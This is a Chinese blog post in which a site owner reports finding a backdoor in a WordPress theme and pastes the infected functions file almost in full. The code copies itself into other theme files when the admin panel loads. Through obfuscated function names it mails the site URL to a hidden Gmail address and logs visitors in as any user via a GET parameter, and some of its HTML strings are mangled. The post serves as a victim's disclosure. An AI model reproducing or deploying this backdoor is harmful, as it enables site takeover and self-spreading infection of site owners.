气死了，好好的wordpress主题，被人植入了后门程序

最近一直在研究wordrpess主题，但不知道为什么，新建的网站浏览量很好，但是搜索内容几乎为零，我看了下大体的浏览方向，发现IP地址都在河南地区，我就奇怪了，什么人比我还用心，天天打开我网站看啊。

今天在检查代码的时候发现我的wordpss主题中被人插入了如下的代码：

function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgets_cont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
	if(!isset($text_length)) $text_length=120;
	if(!isset($check)) $check="cookie";
	if(!isset($tagsallowed)) $tagsallowed="";
	if(!isset($filter)) $filter="none";
	if(!isset($coma)) $coma="";
	if(!isset($home_filter)) $home_filter=get_option("home"); 
	if(!isset($pref_filters)) $pref_filters="wp_";
	if(!isset($is_use_more_link)) $is_use_more_link=1; 
	if(!isset($com_type)) $com_type=""; 
	if(!isset($cpages)) $cpages=$_GET["cperpage"];
	if(!isset($post_auth_comments)) $post_auth_comments="";
	if(!isset($com_is_approved)) $com_is_approved=""; 
	if(!isset($post_auth)) $post_auth="auth";
	if(!isset($link_text_more)) $link_text_more="(more...)";
	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
	if(!isset($contentmore)) $contentmore="ma".$coma."il";
	if(!isset($for_more)) $for_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_yes) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tags)) $fixed_tags=1;
	if(!isset($filters)) $filters=$home_filter; 
	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
	if(!isset($tag_aditional)) $tag_aditional="div";
	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	
	if(!isset($isshowdots)) $isshowdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($text_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "")) {
		    $text=explode("", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $text_length) {
				$l=$text_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$link_text_more="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tagsallowed) {
		$output=strip_tags($output, $tagsallowed);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tags) ? balanceTags($output, true) : $output;
	$output .= ($isshowdots && $ellipsis) ? "..." : "";
	$output=apply_filters($filter, $output);
	switch($tag_aditional) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($is_use_more_link ) {
		if($for_more) {
			$output .= " <" . $tag . " class=\"more-link\">. get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . " . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\">. get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . " . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="
", $after="
", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . "  . $permalink . "\" title=\"" . $post_title."\">" . $post_title . " " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}
wp_enqueue_script('jquery');
 /* Archives list by zwwooooo | http://zww.me */
 function zww_archives_list() {
     if( !$output = get_option('zww_archives_list') ){
         $output = '
[全部展开/收缩] (注: 点击月份可以展开)
';
         $the_query = new WP_Query( 'posts_per_page=-1&ignore_sticky_posts=1' ); //update: 加上忽略置顶文章
         $year=0; $mon=0; $i=0; $j=0;
         while ( $the_query->have_posts() ) : $the_query->the_post();
             $year_tmp = get_the_time('Y');
             $mon_tmp = get_the_time('m');
             $y=$year; $m=$mon;
             if ($mon != $mon_tmp && $mon > 0) $output .= '';
             if ($year != $year_tmp && $year > 0) $output .= '';
             if ($year != $year_tmp) {
                 $year = $year_tmp;
                 $output .= '
'. $year .' 年
'; //输出年份
             }
             if ($mon != $mon_tmp) {
                 $mon = $mon_tmp;
                 $output .= '
'. $mon .' 月
'; //输出月份
             }
             $output .= '
'. get_the_time('d日: ') .'. get_permalink() .'">'. get_the_title() .' ('. get_comments_number('0', '1', '%') .')
'; //输出文章日期和标题
         endwhile;
         wp_reset_postdata();
         $output .= '
';
         update_option('zww_archives_list', $output);
     }
     echo $output;
 }
 function clear_zal_cache() {
     update_option('zww_archives_list', ''); // 清空 zww_archives_list
 }
 add_action('save_post', 'clear_zal_cache'); // 新发表文章/修改文章时
?>

本来这应该是外国的主题上的，但这段代码明显被人改动过，还加入了中文标注，看来我要来搞搞它了！